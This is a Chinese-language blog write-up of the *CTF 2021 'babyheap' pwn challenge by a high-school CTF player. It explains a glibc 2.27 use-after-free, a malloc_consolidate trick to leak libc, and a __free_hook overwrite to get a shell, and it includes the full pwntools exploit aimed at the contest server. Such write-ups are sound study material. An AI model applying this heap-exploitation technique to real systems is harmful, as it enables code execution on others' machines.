*CTF 2021 PWN babyheap WriteUp

前言

比赛的时候看到这道题就放弃了(哭~~)
主要还是堆学艺不精 (畏难)
赛后认真思考,其实很快就出来了


我们可怜的FPGA:

惨不忍睹


没办法我们真的太菜了
说实话我觉得赛后能做出来也很给队伍长脸了


*CTF 2021 PWN babyheap WriteUp

PWN中的全场最水题(但像我这种菜鸡比赛时都没做出来)

程序分析

在这里插入图片描述
全保护

常规堆题的菜单式

在这里插入图片描述

一些奇奇怪怪的地方:

  1. add功能可以覆盖之前的指针
    在这里插入图片描述
  2. delete有UAF
    在这里插入图片描述
  3. edit功能居然是从+8偏移开始写的!(这里一开始让我人都傻了)
    在这里插入图片描述

当然还有题目里也说了,libc版本是2.27也就是说有tcache
如果真有不知道什么是tcache的可以参看:

  • https://ctf-wiki.org/pwn/linux/glibc-heap/implementation/tcache/
  • https://ctf-wiki.org/pwn/linux/glibc-heap/tcache_attack/

整体思路

一开始当然是想常规修改tcache链表指针,结果发现edit从+8偏移开始写
突然懵逼
再者add功能中限制了堆块大小,没有small bins可用
突然就真的不知所措

你想吗,大小没法变化,一个萝卜一个坑,没有溢出,写不了指针
于是开始怀疑人生

后来突然想起曾在网上看到过关于malloc_consolidate的介绍

参考:

  • https://ctf-wiki.org/pwn/linux/glibc-heap/implementation/malloc_state/
  • https://www.dazhuanlan.com/2019/10/16/5da624b635caa/

这玩意儿居然能合并fast bins!
再看触发条件:

  1. malloc large bin
  2. top chunk不够空间
  3. free堆块并前后合并后,大小大于FASTBIN_CONSOLIDATION_THRESHOLD=65536

再看到leave_name功能:
在这里插入图片描述

0x400=1024>1008,属于large bins范围,可用于条件1触发malloc_consolidate
利用tcache同一bin最多7个堆块的性质,我们可以同时将8个堆块丢入fast bin(理论上最多9个,留一个防合并)

触发前:

在这里插入图片描述

触发后:

在这里插入图片描述

于是再去add大小不为0x70的堆块利用错位即可得到main_arena的地址并更改tcache链表指针
将其修改为 __free_hook地址
最后delete一个内容为/bin/sh的堆块即可

Exploit

from pwn import *
# from LibcTool import *
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
sh=remote('52.152.231.198',8081)
# sh=process('./pwn')
# attach(sh)
# raw_input()

def add(index,size):
	sh.sendlineafter('>>','1')
	sh.sendlineafter('input index',str(index))
	sh.sendlineafter('input size',str(size))
def delete(index):
	sh.sendlineafter('>>','2')
	sh.sendlineafter('input index',str(index))
def edit(index,content):
	sh.sendlineafter('>>','3')
	sh.sendlineafter('input index',str(index))
	sh.sendafter('input content',content)
def show(index):
	sh.sendlineafter('>>','4')
	sh.sendlineafter('input index\n',str(index))
	return sh.recvuntil('\n1. add')[:-7]
def leave_name(name):
	sh.sendlineafter('>>','5')
	sh.sendafter('your name:',name)
def show_name():
	sh.sendlineafter('>>','6')

for i in range(15):
	add(i,0x60)
add(15,0x60)
for i in range(15):
	delete(i)
leave_name('lrcno6')
raw_input()
main_arena=u64(show(7).ljust(8,'\0'))-976
libc_base=main_arena-0x3ebc40
add(14,0x20-8)
add(11,0x20-8)
raw_input()
delete(11)
edit(7,flat('a'*0x10,0x21,libc_base+libc.sym['__free_hook']-8))
add(13,0x20-8)
add(12,0x20-8)
edit(12,p64(libc_base+libc.sym['system']))
edit(7,flat('a'*0x10,0x21,'/bin/sh'))
delete(11)

sh.interactive()
sh.close()

后记

最开始没意识到可以用leave_name功能来malloc large bin chunk,而是想去把top chunk榨干
也不是不可以 也就add个那么1000多次
结果发现远程运行时根本跑不动,直接被alarm遣送
还是看到CY2CS的WP才恍然大明白
果然还是太菜


简单介绍下我们FPGA:

我们是YaliFPGA战队
队员都是在读高中生(多可爱)
长期在各大线上赛上与诸水友队并列垫底
也曾有巨佬 然后都被高考吃掉了
剩下的都是菜鸡(其中我最菜)
参加过湖湘杯,全国大学生等多项(线上)赛事并垫底
也曾有大佬去过XMan(然后被高考吃掉了)
也曾拿过一血 (然后倒数第二)

希望大家能认识我们FPGA战队,也希望我们能得到各位大佬的帮助

lrcno6
2021.1.19

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值